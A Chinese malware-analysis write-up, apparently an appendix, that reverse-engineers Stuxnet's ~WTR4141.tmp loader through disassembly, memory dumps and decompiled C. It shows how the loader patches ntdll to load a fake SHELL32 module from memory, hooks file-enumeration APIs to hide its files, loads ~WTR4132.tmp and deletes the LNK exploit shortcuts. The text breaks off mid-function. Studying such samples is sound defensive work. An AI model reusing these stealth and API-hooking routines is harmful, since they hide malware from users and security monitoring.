《附录三:通过lnk漏洞加载的~WTR4141.tmp的逆向分析》 By nEINEI 函数入口,dllmain中直接调用727A1ED0 727A1E58 |. /75 2E jnz short ~WTR4141.727A1E88 727A1E5A |. |8B45 08 mov eax,[arg.1] ; ~WTR4141.727A0000; Case 1 of switch 727A1E50 727A1E5D |. |A3 8C617A72 mov dword ptr ds:[0x727A618C],eax 727A1E62 |. |50 push eax ; /hLibModule = 0012FD50 727A1E63 |. |FF15 9C507A72 call dword ptr ds:[<&KERNEL32.DisableThr>; \DisableThreadLibraryCalls 727A1E69 |. |E8 62000000 call ~WTR4141.727A1ED0 727A1E6E |. |C745 FC FFFFF>mov [local.1],-0x1 727A1E75 |. |8B4D F0 mov ecx,[local.4] 727A1E78 |. |64:890D 00000>mov dword ptr fs:[0],ecx 比较当前所在模块名称是否合SHELL32.DLL.ASLR ,因为这里是挂上调试器调试,所以函数返回了0; 727A1F80 /$ 57 push edi 727A1F81 |. 56 push esi ; /String = "C:\WORK\~WTR4141.tmp" 727A1F82 |. BF C4547A72 mov edi,~WTR4141.727A54C4 ; |UNICODE "SHELL32.DLL.ASLR." 727A1F87 |. FF15 20507A72 call dword ptr ds:[<&KERNEL32.lstrlenW>] ; \lstrlenW 727A1F8D |. 8D4446 FE lea eax,dword ptr ds:[esi+eax*2-0x2] 727A1F91 |. 3BC6 cmp eax,esi 727A1F93 |. 72 0D jb short ~WTR4141.727A1FA2 727A1F95 |> 66:8338 5C /cmp word ptr ds:[eax],0x5C 727A1F99 |. 74 07 |je short ~WTR4141.727A1FA2 727A1F9B |. 83E8 02 |sub eax,0x2 727A1F9E |. 3BC6 |cmp eax,esi 727A1FA0 |.^ 73 F3 \jnb short ~WTR4141.727A1F95 // 利用自身进程ID ,做加密,获得一个随机互斥量名称 727A20D7 |. 52 push edx ; |s = 00000039 727A20D8 |. FF15 D8507A72 call dword ptr ds:[<&USER32.wsprintfW>] ; \wsprintfW 727A20DE |. 83C4 18 add esp,0x18 727A20E1 |. 8D4424 04 lea eax,dword ptr ss:[esp+0x4] 727A20E5 |. 50 push eax ; /MutexName = "{058581cb-0ae48fe9-05858c49-00049fe9}" 727A20E6 |. 6A 01 push 0x1 ; |InitialOwner = TRUE 727A20E8 |. 6A 00 push 0x0 ; |pSecurity = NULL 727A20EA |. FF15 78507A72 call dword ptr ds:[<&KERNEL32.CreateMute>; \CreateMutexW // 打开自身所在文件 727A35FB |. 33F6 xor esi,esi 727A35FD |. 56 push esi ; /hTemplateFile = NULL 727A35FE |. 56 push esi ; |Attributes = 0 727A35FF |. 6A 03 push 0x3 ; |Mode = OPEN_EXISTING 727A3601 |. 56 push esi ; |pSecurity = NULL 727A3602 |. 6A 01 push 0x1 ; |ShareMode = FILE_SHARE_READ 727A3604 |. 68 00000080 push 0x80000000 ; |Access = GENERIC_READ 727A3609 |. FF75 08 push [arg.1] ; |FileName = "C:\WORK\~WTR4141.tmp" 727A360C |. 8930 mov dword ptr ds:[eax],esi ; | 727A360E |. 8975 FC mov [local.1],esi ; | 727A3611 |. 8975 F8 mov [local.2],esi ; | 727A3614 |. 8937 mov dword ptr ds:[edi],esi ; | 727A3616 |. FF15 1C507A72 call dword ptr ds:[<&KERNEL32.CreateFile>; \CreateFileW // 分配内存空间,按照获取的自身文件大小 25720; 727A3643 |. 6A 04 push 0x4 ; /Protect = PAGE_READWRITE 727A3645 |. 68 00300000 push 0x3000 ; |AllocationType = MEM_COMMIT|MEM_RESERVE 727A364A |. 53 push ebx ; |Size = 6478 (25720.) 727A364B |. 56 push esi ; |Address = NULL 727A364C |. 8918 mov dword ptr ds:[eax],ebx ; | 727A364E |. FF15 74507A72 call dword ptr ds:[<&KERNEL32.VirtualAlloc>] ; \VirtualAlloc // 读取自身到分配到内存空间 390000; 727A365A |. 56 push esi ; /pOverlapped = NULL 727A365B |. 8D4D F4 lea ecx,[local.3] ; | 727A365E |. 51 push ecx ; |pBytesRead = kernel32.76D39754 727A365F |. 53 push ebx ; |BytesToRead = 6478 (25720.) 727A3660 |. 50 push eax ; |Buffer = 00000001 727A3661 |. FF75 0C push [arg.2] ; |hFile = 000000A8 (window) 727A3664 |. FF15 70507A72 call dword ptr ds:[<&KERNEL32.ReadFile>] ; \ReadFile //生成一个随机的shell32.dll 名称 727A2040 |. 03CF add ecx,edi 727A2042 |. 51 push ecx ; /<%08x> = 0x45B9435C 727A2043 |. 68 C4547A72 push ~WTR4141.727A54C4 ; |<%s> = "SHELL32.DLL.ASLR." 727A2048 |. 8D5424 1C lea edx,dword ptr ss:[esp+0x1C] ; | 727A204C |. 68 E8547A72 push ~WTR4141.727A54E8 ; |Format = "%s%08x" 727A2051 |. 52 push edx ; |s = 00000063 727A2052 |. FF15 D8507A72 call dword ptr ds:[<&USER32.wsprintfW>] ; \wsprintfW // 在此出现典型的key =0xAE1979DD ; xor eax,0xAE1979DD , 727A30A1 |> \8B45 08 mov eax,[arg.1] 727A30A4 |. 35 DD7919AE xor eax,0xAE1979DD 727A30A9 |. 33C9 xor ecx,ecx ; kernel32.76D28C2E 727A30AB |. 8B55 08 mov edx,[arg.1] 727A30AE |. 8902 mov dword ptr ds:[edx],eax 727A30B0 |. 894A 04 mov dword ptr ds:[edx+0x4],ecx ; kernel32.76D28C2E // 修改自身代码段中预留的一块空白指令,为PAGE_EXECUTE_WRITECOPY属性 727A2DD7 |. 51 push ecx 727A2DD8 |. 8D45 FC lea eax,[local.1] 727A2DDB |. 50 push eax ; /pOldProtect = 0012F718 727A2DDC |. 68 80000000 push 0x80 ; |NewProtect = PAGE_EXECUTE_WRITECOPY 727A2DE1 |. 6A 44 push 0x44 ; |Size = 44 (68.) 727A2DE3 |. 68 3A3C7A72 push ~WTR4141.727A3C3A ; |Address = ~WTR4141.727A3C3A 727A2DE8 |. FF15 60507A72 call dword ptr ds:[<&KERNEL32.VirtualProtect>] ; \VirtualProtect // 从后面的分析上看,是为了获得其他模块的信息地址,放在这里; 727A3C3A 0000 add byte ptr ds:[eax],al 727A3C3C 0000 add byte ptr ds:[eax],al 727A3C3E 0000 add byte ptr ds:[eax],al 727A3C40 0000 add byte ptr ds:[eax],al 727A3C42 0000 add byte ptr ds:[eax],al 727A3C44 0000 add byte ptr ds:[eax],al 727A3C46 0000 add byte ptr ds:[eax],al 727A3C48 0000 add byte ptr ds:[eax],al 727A3C4A 0000 add byte ptr ds:[eax],al 727A3C4C 0000 add byte ptr ds:[eax],al 727A3C4E 0000 add byte ptr ds:[eax],al ... 727A3C7E - FF25 08507A72 jmp dword ptr ds:[<&KERNEL32.RtlUnwind>] ; kernel32.RtlUnwind 727A3C84 55 push ebp 727A3C85 8BEC mov ebp,esp 727A3C87 81EC 98000000 sub esp,0x98 727A3C8D 8B45 08 mov eax,dword ptr ss:[ebp+0x8] //获取完毕后,填充了下面这些内容 727A3C3A 771D0000 offset ntdll. 727A3C3E 00000000 727A3C42 76D3A8EB kernel32.lstrcmpiW 727A3C46 76D476D6 kernel32.VirtualQuery 727A3C4A 76D32341 kernel32.VirtualProtect 727A3C4E 76D433D3 kernel32.GetProcAddress 727A3C52 76D3899B kernel32.MapViewOfFile 727A3C56 76D3DB13 kernel32.UnmapViewOfFile 727A3C5A 76D323C6 kernel32.FlushInstructionCache 727A3C5E 76D43C01 kernel32.LoadLibraryW 727A3C62 76D3D9D0 kernel32.FreeLibrary 727A3C66 772156E8 ntdll.ZwCreateSection 727A3C6A 77215C28 ntdll.ZwMapViewOfSection 727A3C6E 76D4375D kernel32.CreateThread 727A3C72 76D3BA90 kernel32.WaitForSingleObject 727A3C76 76D26DDD kernel32.GetExitCodeThread 727A3C7A 772154C8 ntdll.ZwClose // 把读取的自身数据copy到映射到新位置3a0000 727A3774 /$ 55 push ebp 727A3775 |. 8BEC mov ebp,esp 727A3777 |. 56 push esi 727A3778 |. 57 push edi 727A3779 |. 8B7D 08 mov edi,[arg.1] 727A377C |. 8B75 0C mov esi,[arg.2] 727A377F |. 8B4D 10 mov ecx,[arg.3] 727A3782 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] // edi = 3a0000; esi = 390000 727A3784 |. 5F pop edi 727A3785 |. 5E pop esi 727A3786 |. 5D pop ebp 727A3787 \. C3 retn // 把2个标志写入偏移258,258+4 727A31B1 |. 8945 D4 mov [local.11],eax 727A31B4 |. 8B45 D4 mov eax,[local.11] 727A31B7 |. 8378 04 48 cmp dword ptr ds:[eax+0x4],0x48 // 标志 727A31BB |. 75 0A jnz short ~WTR4141.727A31C7 727A31BD |. 8B45 D4 mov eax,[local.11] 727A31C0 |. C740 04 40000>mov dword ptr ds:[eax+0x4],0x40 //标志 727A31C7 |> 68 80000000 push 0x80 ; /Arg3 = 00000080 727A31CC |. FF75 0C push [arg.2] ; |Arg2 = 0012F728 // 把生成的随机shell32 名字写入3a0000 头部 , 这样就是 随机shell32名字+mz 的开始头 727A3778 |. 57 push edi 727A3779 |. 8B7D 08 mov edi,[arg.1] 727A377C |. 8B75 0C mov esi,[arg.2] 727A377F |. 8B4D 10 mov ecx,[arg.3] 727A3782 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] // esi = 12f728 727A3784 |. 5F pop edi 727A3785 |. 5E pop esi 0012F728 F5 8E 0B AE 00 00 00 00 00 00 00 00 58 3F 7A 72 ?? ?........X?zr 0012F738 53 00 48 00 45 00 4C 00 4C 00 33 00 32 00 2E 00 S.H.E.L.L.3.2... 0012F748 44 00 4C 00 4C 00 2E 00 41 00 53 00 4C 00 52 00 D.L.L...A.S.L.R. 0012F758 2E 00 31 00 61 00 61 00 62 00 63 00 33 00 39 00 ..1.a.a.b.c.3.9. 0012F768 34 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 4.............. 0012F778 30 00 00 00 00 00 00 00 00 00 00 00 F4 54 7A 72 0...........?Tzr // 计算动态获得一个函数的大小 = 648; 727A3327 /$ 55 push ebp 727A3328 |. 8BEC mov ebp,esp 727A332A |. B8 CC427A72 mov eax,~WTR4141.727A42CC 727A332F |. 2D 843C7A72 sub eax,~WTR4141.727A3C84 727A3334 |. 5D pop ebp ; 0012F70C 727A3335 \. C3 retn // mapviewofsection 一个b3a 大小的内存 727A2F5F |. 6A 00 push 0x0 727A2F61 |. 6A 00 push 0x0 727A2F63 |. 6A 00 push 0x0 727A2F65 |. FF75 14 push [arg.4] 727A2F68 |. FF15 38507A72 call dword ptr ds:[<&KERNEL32.GetCurrentProcess>] ; [GetCurrentProcess 727A2F6E |. 50 push eax 727A2F6F |. 8B45 10 mov eax,[arg.3] 727A2F72 |. FF30 push dword ptr ds:[eax] 727A2F74 |. FF15 6A3C7A72 call dword ptr ds:[0x727A3C6A] ; ntdll.ZwMapViewOfSection //copy 自身数据到新分配到内存区域 727A3782 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] esi = 727a37d9; // 这样的数据 727A37D9 E8 13 00 00 00 5A 77 4D 61 70 56 69 65 77 4F 66 è...ZwMapViewOf 727A37E9 53 65 63 74 69 6F 6E 00 5A 51 81 C1 04 00 00 00 Section.ZQ??... 727A37F9 E8 66 03 00 00 59 E8 10 00 00 00 5A 77 43 72 65 èf..Yè...ZwCre 727A3809 61 74 65 53 65 63 74 69 6F 6E 00 5A 51 81 C1 08 ateSection.ZQ?? 727A3819 00 00 00 E8 43 03 00 00 59 E8 0B 00 00 00 5A 77 ...èC..Yè ...Zw 727A3829 4F 70 65 6E 46 69 6C 65 00 5A 51 81 C1 0C 00 00 OpenFile.ZQ??... 727A3839 00 E8 25 03 00 00 59 E8 08 00 00 00 5A 77 43 6C .è%..Yè...ZwCl 727A3849 6F 73 65 00 5A 51 81 C1 10 00 00 00 E8 0A 03 00 ose.ZQ??...è.. 727A3859 00 59 E8 16 00 00 00 5A 77 51 75 65 72 79 41 74 .Yè...ZwQueryAt 727A3869 74 72 69 62 75 74 65 73 46 69 6C 65 00 5A 51 81 tributesFile.ZQ? 727A3879 C1 14 00 00 00 E8 E1 02 00 00 59 E8 0F 00 00 00 ?...èá..Yè... 727A3889 5A 77 51 75 65 72 79 53 65 63 74 69 6F 6E 00 5A ZwQuerySection.Z 727A3899 51 81 C1 18 00 00 00 E8 BF 02 00 00 59 C3 5A 84 Q??...è?..Y?Z? 727A38A9 D2 74 25 FE CA 0F 84 82 00 00 00 FE CA 0F 84 BB ?t%????...???? 727A38B9 00 00 00 FE CA 0F 84 FE 00 00 00 FE CA 0F 84 40 ...????...???@ 727A38C9 01 00 00 E9 8C 01 00 00 E8 F9 01 00 00 85 D2 74 ..é?..èù..…?t 727A38D9 13 52 8B 52 08 3B 54 24 0C 75 08 C7 44 24 30 R?R;T$.u?D$0 // 继续copy 下面数据到 edi = 3a04c9; 727A37B0 3B 10 49 AB B2 00 EB 14 B2 01 EB 10 B2 02 EB 0C ;I??.?????. 727A37C0 B2 03 EB 08 B2 04 EB 04 B2 05 EB 00 52 E8 04 00 ??????.Rè. 727A37D0 00 00 A7 38 7A 72 5A FF 22 E8 13 00 00 00 5A 77 ..§8zrZ?"è...Zw 727A37E0 4D 61 70 56 69 65 77 4F 66 53 65 63 74 69 6F 6E MapViewOfSection 727A37F0 00 5A 51 81 C1 04 00 00 00 E8 66 03 00 00 59 E8 .ZQ??...èf..Yè 727A3800 10 00 00 00 5A 77 43 72 65 61 74 65 53 65 63 74 ...ZwCreateSect 727A3810 69 6F 6E 00 5A 51 81 C1 08 00 00 00 E8 43 03 00 ion.ZQ??...èC. 727A3820 00 59 E8 0B 00 00 00 5A 77 4F 70 65 6E 46 69 6C .Yè ...ZwOpenFil 727A3830 65 00 5A 51 81 C1 0C 00 00 00 E8 25 03 00 00 59 e.ZQ??....è%..Y 727A3840 E8 08 00 00 00 5A 77 43 6C 6F 73 65 00 5A 51 81 è...ZwClose.ZQ? 727A3850 C1 10 00 00 00 E8 0A 03 00 00 59 E8 16 00 00 00 ?...è...Yè... 727A3860 5A 77 51 75 65 72 79 41 74 74 72 69 62 75 74 65 ZwQueryAttribute 727A3870 73 46 69 6C 65 00 5A 51 81 C1 14 00 00 00 E8 E1 sFile.ZQ??...èá 727A3880 02 00 00 59 E8 0F 00 00 00 5A 77 51 75 65 72 79 ..Yè...ZwQuery // copy 代码到edi = 3a04f2; esi = 727A3C84,长度 = 648; 727A3C84 /. 55 push ebp 727A3C85 |. 8BEC mov ebp,esp 727A3C87 |. 81EC 98000000 sub esp,0x98 727A3C8D |. 8B45 08 mov eax,[arg.1] 727A3C90 |. 8B40 20 mov eax,dword ptr ds:[eax+0x20] 727A3C93 |. 8985 78FFFFFF mov [local.34],eax 727A3C99 |. 8B45 08 mov eax,[arg.1] 727A3C9C |. 8B40 08 mov eax,dword ptr ds:[eax+0x8] 727A3C9F |. 05 3A3C7A72 add eax,~WTR4141.727A3C3A 727A3CA4 |. 2D D9377A72 sub eax,~WTR4141.727A37D9 727A3CA9 |. 8985 7CFFFFFF mov [local.33],eax 727A3CAF |. 68 80000000 push 0x80 ; /Arg3 = 00000080 727A3CB4 |. FFB5 78FFFFFF push [local.34] ; |Arg2 = FFFFFFFE // 727A40C5 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] esi = 3b0098; edi = 3a0000; // esi 指向mz头 727A40C5 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi] esi = 3b0498 ; 指向函数体, 003B0498 55 push ebp 003B0499 8BEC mov ebp,esp 003B049B 83E4 F8 and esp,0xFFFFFFF8 003B049E 83EC 30 sub esp,0x30 003B04A1 68 58530010 push 0x10005358 003B04A6 68 70530010 push 0x10005370 003B04AB FF15 0C500010 call dword ptr ds:[0x1000500C] 003B04B1 50 push eax 003B04B2 FF15 24500010 call dword ptr ds:[0x10005024] 003B04B8 85C0 test eax,eax 003B04BA 74 4F je short 003B050B // edi = 3a1000 ; copy 代码长度3400;对应的整个代码段数据 // 继续copy 其他段数据.rdata ,.data .reloc; 727A417D |. 8B45 F8 mov eax,[local.2] ; ntdll.771D0040 727A4180 |. 8138 3B1049AB cmp dword ptr ds:[eax],0xAB49103B 比较pe rich header中数据来作为是否感染的标志,见下面eax的内容 727A4186 |. 75 04 jnz short ~WTR4141.727A418C 727A4188 |. 33C0 xor eax,eax 727A418A |. EB 5D jmp short ~WTR4141.727A41E9 727A418C |> 8D45 FC lea eax,[local.1] 727A418F |. 50 push eax 727A4190 |. 68 80000000 push 0x80 727A4195 |. 68 00100000 push 0x1000 727A419A |. FF75 F4 push [local.3] ; ntdll. 727A419D |. 8B45 0C mov eax,[arg.2] 727A41A0 |. FF50 10 call dword ptr ds:[eax+0x10] ; kernel32.VirtualProtect //eax值里面存储感染标记 771D003C D0000000 DD 000000D0 ; Offset to PE signature 771D0040 0E DB 0E 771D0041 1F DB 1F 771D0042 BA DB BA 771D0043 0E DB 0E 771D0044 00 DB 00 771D0045 B4 DB B4 771D0046 09 DB 09 然后在把感染标记copy会当前进程,也即是771d0040, 这里的数据是从3c04d7 解密出来的数据拷贝过去的。 771D0040 3B 10 49 AB B2 00 EB 14 B2 01 EB 10 B2 02 54 68 ;I??.????Th 771D0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno 771D0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS 771D0070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$....... 然后跳下3c0368 位置; 003C035C E8 00000000 call 003C0361 003C0361 5A pop edx ; 003C03B7 003C0362 81C2 24010000 add edx,0x124 003C0368 C3 retn //获取zwMapViewOfSection 003C03B7 C742 04 0000000>mov dword ptr ds:[edx+0x4],0x0 003C03BE FF32 push dword ptr ds:[edx] ; ntdll. 003C03C0 FF52 14 call dword ptr ds:[edx+0x14] ; kernel32.GetProcAddress 003C03C3 59 pop ecx ; ntdll. // 映射mapviewofsection 在ntdll .text 节里面一段数据,这里其实就是zwMapViewofSection 77215C28 > B8 A8000000 mov eax,0xA8 77215C2D BA 0003FE7F mov edx,0x7FFE0300 77215C32 FF12 call dword ptr ds:[edx] // 修改为call edx ; 77215C34 C2 2800 retn 0x28 77215C37 90 nop // 同样,依次去hook掉ntdll 里面的zwCreateSection, //调用随机生成loadlibrary, 加载SHELL32.DLL.ASLR.180433d4,因为loadlibrary内调用的ntdll里面的一些函数已经被hook使得监控无法发现密码加载代码的行为。 727A32B7 |. 8D45 90 lea eax,[local.28] 727A32BA |. 50 push eax 727A32BB |. 8B85 7CFFFFFF mov eax,[local.33] 727A32C1 |. FF50 24 call dword ptr ds:[eax+0x24] ; kernel32.LoadLibraryW 727A32C4 |. 8985 70FFFFFF mov [local.36],eax 727A32CA |. 83BD 70FFFFFF>cmp [local.36],0x0 0012F674 727A329D ~WTR4141.727A329D 0012F678 003C0000 0012F67C 0012F6A0 UNICODE "SHELL32.DLL.ASLR.180433d4" 0012F680 77215C34 RETURN to ntdll.77215C34 0012F684 727A2FA9 RETURN to ~WTR4141.727A2FA9 from ntdll.ZwMapViewOfSection //但实际上这个模块并没有实际的handle ,这个handle是故意返回的,同时也能够利用getprocaddress 函数来获得对应的导出函数地址 727B1F47 |. 6A 01 push 0x1 ; /ProcNameOrOrdinal = #1 ; // 也支持GetProcAddress 获取函数地址的方式; 727B1F49 |. 51 push ecx ; |hModule = 012D0000. // 这个模块handle 并不能在系统的真实的加载的模块hanlde中,实际上是stuxnet模拟的一种handle 727B1F4A |. FF15 24507B72 call dword ptr ds:[<&KERNEL32.GetProcAddress>] ; \GetProcAddress 727B1F50 |. 85C0 test eax,eax // 如此基于行为的动态监控,或是反虚拟机的模拟就难以发现这样的行为了。 因为他还是可以模拟获得导出函数 #1 的操作。 012D21C0 55 push ebp 012D21C1 8BEC mov ebp,esp 012D21C3 6A FF push -0x1 012D21C5 68 18562D01 push 0x12D5618 012D21CA 68 A8282D01 push 0x12D28A8 012D21CF 64:A1 00000000 mov eax,dword ptr fs:[0] 012D21D5 50 push eax 012D21D6 64:8925 0000000>mov dword ptr fs:[0],esp 012D21DD 83EC 08 sub esp,0x8 012D21E0 53 push ebx 012D21E1 56 push esi 012D21E2 57 push edi 012D21E3 8965 E8 mov dword ptr ss:[ebp-0x18],esp 012D21E6 C745 FC 0000000>mov dword ptr ss:[ebp-0x4],0x0 012D21ED 8B7D 08 mov edi,dword ptr ss:[ebp+0x8] ; ~WTR4141.727B0000 012D21F0 57 push edi 012D21F1 FF15 20502D01 call dword ptr ds:[0x12D5020] ; kernel32.lstrlenW 012D21F7 8D4400 02 lea eax,dword ptr ds:[eax+eax+0x2] 012D21FB 50 push eax 012D21FC 6A 08 push 0x8 012D21FE FF15 90502D01 call dword ptr ds:[0x12D5090] ; kernel32.GetProcessHeap 012D2204 50 push eax 012D2205 FF15 84502D01 call dword ptr ds:[0x12D5084] ; ntdll.RtlAllocateHeap 012D220B 8BF0 mov esi,eax 012D220D 85F6 test esi,esi 012D220F 74 77 je short 012D2288 012D2211 57 push edi 012D2212 56 push esi 012D2213 FF15 30502D01 call dword ptr ds:[0x12D5030] ; kernel32.lstrcpyW 012D2219 837D 0C 00 cmp dword ptr ss:[ebp+0xC],0x0 012D221D 74 24 je short 012D2243 012D221F 8BCE mov ecx,esi 012D2221 E8 1A010000 call 012D2340 012D2226 C745 FC FFFFFFF>mov dword ptr ss:[ebp-0x4],-0x1 012D222D B8 01000000 mov eax,0x1 012D2232 8B4D F0 mov ecx,dword ptr ss:[ebp-0x10] 012D2235 64:890D 0000000>mov dword ptr fs:[0],ecx 012D223C 5F pop edi ; ~WTR4141.727B1F72 012D223D 5E pop esi ; ~WTR4141.727B1F72 012D223E 5B pop ebx ; ~WTR4141.727B1F72 012D223F 8BE5 mov esp,ebp 012D2241 5D pop ebp ; ~WTR4141.727B1F72 012D2242 C3 retn // 创建的线程 012D22B0 55 push ebp 012D22B1 8BEC mov ebp,esp 012D22B3 6A FF push -0x1 012D22B5 68 08562D01 push 0x12D5608 012D22BA 68 A8282D01 push 0x12D28A8 012D22BF 64:A1 00000000 mov eax,dword ptr fs:[0] 012D22C5 50 push eax ; kernel32.BaseThreadInitThunk 012D22C6 64:8925 0000000>mov dword ptr fs:[0],esp 012D22CD 83EC 08 sub esp,0x8 012D22D0 53 push ebx 012D22D1 56 push esi 012D22D2 57 push edi 012D22D3 8965 E8 mov dword ptr ss:[ebp-0x18],esp 012D22D6 C745 FC 0000000>mov dword ptr ss:[ebp-0x4],0x0 012D22DD E8 4EFEFFFF call 012D2130 // 获得当前PID, 利用这个获得随机的GUID , UNICODE "{%08x-%08x-%08x-%08x}" 012D2130 81EC 84000000 sub esp,0x84 012D2136 56 push esi 012D2137 FF15 48502D01 call dword ptr ds:[0x12D5048] ; kernel32.GetCurrentProcessId 012D213D 8BC8 mov ecx,eax 012D213F 81F1 81343904 xor ecx,0x4393481 // 创建一个互斥体 012D217A FF15 78502D01 call dword ptr ds:[0x12D5078] ; kernel32.CreateMutexW // 进行hook 下列函数 // 继续,跳到这里 012D239C E8 5FF9FFFF call 012D1D00 012D23A1 57 push edi 012D23A2 E8 29000000 call 012D23D0 012D23A7 EB 09 jmp short 012D23B2 012D23A9 B8 01000000 mov eax,0x1 012D23AE C3 retn // 之后线程继续加载 ~wtr4132.tmp 这个模块。 012D1D94 6A 00 push 0x0 012D1D96 6A 03 push 0x3 012D1D98 6A 00 push 0x0 012D1D9A 6A 01 push 0x1 012D1D9C 68 00000080 push 0x80000000 012D1DA1 50 push eax 012D1DA2 FF15 1C502D01 call dword ptr ds:[0x12D501C] ; kernel32.CreateFileW 0145FCEC 0145FD2C |FileName = "C:\WORK\~WTR4132.tmp" 0145FCF0 80000000 |Access = GENERIC_READ 0145FCF4 00000001 |ShareMode = FILE_SHARE_READ 0145FCF8 00000000 |pSecurity = NULL 0145FCFC 00000003 |Mode = OPEN_EXISTING 0145FD00 00000000 |Attributes = 0 0145FD04 00000000 \hTemplateFile = NULL 0145FD08 76D3D9E8 kernel32.lstrlenW // 删除Copy of Shortcut to.lnk 等lnk漏洞 文件 012D264A FF15 34502D01 call dword ptr ds:[0x12D5034] ; kernel32.SetFileAttributesW 012D2650 8D4424 14 lea eax,dword ptr ss:[esp+0x14] 012D2654 50 push eax 012D2655 FF15 2C502D01 call dword ptr ds:[0x12D502C] ; kernel32.DeleteFileW 0145FCD4 0145FCF0 |FileName = "C:\WORK\Copy of Shortcut to.lnk" 0145FCD8 00000080 \FileAttributes = NORMAL 0145FCD8 0145FCF0 \FileName = "C:\WORK\Copy of Copy of Shortcut to.lnk" 0145FCD8 0145FCF0 \FileName = "C:\WORK\Copy of Copy of Copy of Shortcut to.lnk" 0145FCDC 00250088 UNICODE "C:\WORK\~WTR4141.tmp" kernel32.BaseThreadInitThunk // 在线程 012D22E4 85F6 test esi,esi 012D22E6 74 13 je short 012D22FB 012D22E8 E8 43F1FFFF call 012D1430 012D22ED 56 push esi 012D22EE FF15 A0502D01 call dword ptr ds:[0x12D50A0] ; kernel32.ReleaseMutex 012D22F4 56 push esi 012D22F5 FF15 28502D01 call dword ptr ds:[0x12D5028] ; kernel32.CloseHandle 012D22FB 68 10270000 push 0x2710 012D2300 FF15 94502D01 call dword ptr ds:[0x12D5094] ; kernel32.Sleep 012D2306 8B4D 08 mov ecx,dword ptr ss:[ebp+0x8] 012D2309 E8 32000000 call 012D2340 012D230E EB 09 jmp short 012D2319 012D2310 B8 01000000 mov eax,0x1 012D2315 C3 retn // 比较重要的方式都在执行的这个线程中, DWORD __stdcall A_Thread_StartAddress(LPVOID lpThreadParameter) { HANDLE v1; // esi v1 = A_random_mutex_sub_10002130(); if ( v1 ) { A_HOOK_FUNC_sub_10001430(); ReleaseMutex(v1); CloseHandle(v1); } Sleep(0x2710u); A_Load_4141_tmp_sub_10002340((LPCWSTR)lpThreadParameter); return 0; } HANDLE A_random_mutex_sub_10002130() { DWORD v0; // eax HANDLE v1; // esi WCHAR Name; // [esp+4h] [ebp-84h] v0 = GetCurrentProcessId(); wsprintfW(&Name, L"{%08x-%08x-%08x-%08x}", v0 ^ 0x9487481, v0 ^ 0x40941, v0 ^ 0x5800097, v0 ^ 0x4393481); v1 = CreateMutexW(0, 1, &Name); if ( !v1 ) return 0; if ( GetLastError() == 183 && WaitForSingleObject(v1, 0x1388u) ) { CloseHandle(v1); return 0; } return v1; } BOOL A_HOOK_FUNC_sub_10001430() { A_Install_hook_sub_100019A0( "FindFirstFileW", "KERNEL32.DLL", (int)A_FAKE_FindFirstFile_sub_10001580, (int *)&dword_1000617C); A_Install_hook_sub_100019A0( "FindNextFileW", "KERNEL32.DLL", (int)A_Fake_FindNextFile_sub_10001600, (int *)&dword_10006180); A_Install_hook_sub_100019A0( "FindFirstFileExW", "KERNEL32.DLL", (int)A_Fake_FindFirstFileEx_sub_10001700, (int *)&dword_10006184); A_Install_hook_sub_100019A0( "NtQueryDirectoryFile", "NTDLL.DLL", (int)A_Fake_QueryDirectory_sub_100014C0, &dword_10006178); A_Install_hook_sub_100019A0( "ZwQueryDirectoryFile", "NTDLL.DLL", (int)A_Fake_QueryDirectory_sub_100014C0, &dword_10006178); return sub_10001790(); } void __thiscall A_Load_4141_tmp_sub_10002340(LPCWSTR lpFileName) { const WCHAR *v1; // edi HANDLE v2; // esi v1 = lpFileName; v2 = CreateMutexW(0, 1, L"{BE3533AB-2DDC-46a1-8F7B-F102B8A5C30A}"); if ( v2 ) { if ( GetLastError() == 0xB7 ) { CloseHandle(v2); } else { A_load_4132_and_run_sub_10001D00(v1); A_Read_and_Del_sub_100023D0(v1); } } } WCHAR *__usercall A_load_4132_and_run_sub_10001D00@(const WCHAR *a1@) { int v1; // ebx WCHAR *result; // eax void *v3; // esi LPVOID lpAddress; // [esp+Ch] [ebp-214h] int v5; // [esp+10h] [ebp-210h] int v6; // [esp+14h] [ebp-20Ch] WCHAR String1[260]; // [esp+18h] [ebp-208h] lstrcpynW(String1, a1, 260); v1 = lstrlenW(L"~WTR4132.tmp"); result = &String1[lstrlenW(String1) - v1]; if ( result ) { lstrcpynW(result, L"~WTR4132.tmp", 260); result = (WCHAR *)A_Read_File_from_disk_sub_10001D90(String1, &lpAddress, (DWORD *)&v5); if ( result ) { v3 = lpAddress; sub_100034D2(0, (int)lpAddress, v5, (int)&v6); result = (WCHAR *)VirtualFree(v3, 0, 0x8000u); } } return result; } void __stdcall A_Read_and_Del_sub_100023D0(LPCWSTR lpFileName) { const WCHAR *v1; // edi HANDLE v2; // esi BOOL v3; // ebp HANDLE hObject; // [esp+8h] [ebp-2Ch] BOOL v5; // [esp+Ch] [ebp-28h] char FileInformation; // [esp+10h] [ebp-24h] char v7; // [esp+14h] [ebp-20h] char v8; // [esp+1Ch] [ebp-18h] char v9; // [esp+24h] [ebp-10h] v1 = lpFileName; hObject = (HANDLE)-1; v5 = GetFileAttributesExW(lpFileName, 0, &FileInformation); if ( !A_Open_read_write_file_sub_10002460(&hObject, lpFileName) ) goto LABEL_8; v2 = hObject; v3 = sub_100024F0(hObject) == 0; if ( v5 ) { sub_10001000((const FILETIME *)&v7, (const FILETIME *)&v8, (const FILETIME *)&v9, v2); v1 = lpFileName; v2 = hObject; } CloseHandle(v2); SetFileAttributesW(v1, 2u); if ( v3 ) LABEL_8: A_Delete_relese_files_sub_100025B0(v1); } // 对totalcommd , wincmd 都做了特殊的处理,在这些查找文件的功能里面也进行了隐藏 BOOL A_Find_Speci_Proc_sub_10001790() { LPARAM v0; // esi HANDLE v1; // eax WCHAR BaseName; // [esp+8h] [ebp-208h] char v4; // [esp+Ah] [ebp-206h] BaseName = 0; sub_10002D70((unsigned __int8 *)&v4, 0, 0x206u); v0 = 0; v1 = GetCurrentProcess(); GetModuleBaseNameW(v1, 0, &BaseName, 0x104u); if ( 